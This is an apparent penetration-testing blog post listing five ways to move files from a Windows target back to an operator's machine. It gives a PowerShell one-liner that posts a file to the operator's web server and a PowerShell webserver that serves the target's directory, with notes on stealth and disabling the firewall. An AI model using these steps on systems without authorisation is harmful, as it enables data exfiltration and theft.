Ways to download a file from a remote Windows machine

During network exploitation/pentesting/system administration, sometimes you’ll get on a Windows target and need to download a file – i.e. move it from your client to the target. This is a common problem with a lot of good, quick solutions.

Other times, you’ll get on a Windows target and need to upload a file – i.e. move it from the target back to your client. This tends to be a little trickier, but there are nonetheless a few reasonably quick and easy ways to do it. I’ve documented five of them below, ranked from least to most hassle.

Method 1: Exploitation framework built-ins

Already got a shell like Metasploit’s meterpreter or Cobalt Strike’s beacon on your target? Just use the built-in upload or download features. In both meterpreter and Cobalt Strike, the syntax is:

download C:\path\to\file

This is often the most foolproof, stealthy and convenient way to do transfers, provided you’ve already got a shell on the machine and/or aren’t too lazy to spawn one from remote desktop or whatever else you’re using.

Method 2: Remote desktop share mount

If you’re not concerned with stealth and are already using remote desktop through a fully featured client like Remmina, you can mount a shared folder as a network drive on the RDP server upon connecting.

The clipboard should work as well.

The clipboard should work as well.

When it works, it really works, but in my experience it generally doesn’t – the network drive will often fail to appear, or appear but be unwriteable. Sometimes this is because of policy restrictions, sometimes it’s because you can reach the RDP port but not the SMB port, and sometimes it’s because of the weight of your sins in this and/or a previous life.

Method 3: SMB server

Basically the manual version of method 2. Host an SMB server on your Linux machine through some method (Samba, Metasploit, a custom Python script, etc…), connect to it on your target and use the SMB protocol for file transfer, just as God and Bill Gates intended.

Method 4: Python SimpleHTTPServer with upload

python -m SimpleHTTPServer is a time-honoured solution for the opposite problem: when you want to transfer a file from your Linux host to a Windows target. So it’s appropriate that someone’s written an extension for it to allow upload. You can grab the code (~294 lines of Python) from UniIsland’s gist on Github. Note that this script, as is, has an arbitrary file upload vulnerability, so don’t run it too long without fixing that. Or use my fixed gist instead.

If you’re using remote desktop, you can just open up a web browser, navigate to your hosted site, and click on the upload button.

It really is that simple!

It really is that simple!

If you’ve only got shell access, you can imitate a curl -F command with the following bit of PowerShell (3.0 and above):

Invoke-RestMethod -Uri $webserverIP -Method Post -InFile $fileToUpload -ContentType "multipart/form-data"

Method 5: PowerShell webserver

If you’d rather host a webserver on the target and download using your own machine, there’s a way to do that too: host a PowerShell webserver! Note that you will need administrative rights on the Windows machine in order to do this successfully (it also helps to disable the firewall).

A colleague of mine once called PowerShell “the built-in Windows exploitation framework”, and it’s an apt description. The sheer scope of what you can do in PowerShell is equal to… well, to what you can do in shell and C on a *nix machine. Just be prepared to write a lot of code: PowerShell is quite prolix.1

To host a webserver that serves the contents of the present working directory (PS equivalent of python -m SimpleHTTPServer) you can use a snippet like this:2

Add-Type -AssemblyName "System.Web"
$Hso = New-Object Net.HttpListener
$Hso.Prefixes.Add("http://+:8000/")
$Hso.Start()
While ($Hso.IsListening) {
	$HC = $Hso.GetContext()
	$HRes = $HC.Response
	$HRes.Headers.Add("Content-Type", [System.Web.MimeMapping]::GetMimeMapping($HC.Request.RawUrl))
	$Stream = [System.IO.File]::OpenRead((Join-Path $Pwd ($HC.Request.RawUrl)))
	$HRes.ContentLength64 = $Stream.Length
	$Stream.CopyTo($HRes.OutputStream)
	$Stream.Close()
	$HRes.Close()
}

Then you just need to wget or curl your file down from $targetIP:8000/filename.

Further suggestions, corrections, and comments can be mailed to or tweeted at me. Thanks to all those who have already!


  1. Prolix compared to other OS shell languages such as bash. This is a bit of an unfair comparison, as while bash is quite succinct because you’re mostly stringing together powerful, single-purpose programs written in other languages, in PowerShell you must first invent the universe using C# modules. ↩︎

  2. Courtesy of obscuresec and darthwalsh↩︎


similar posts
webmentions(?)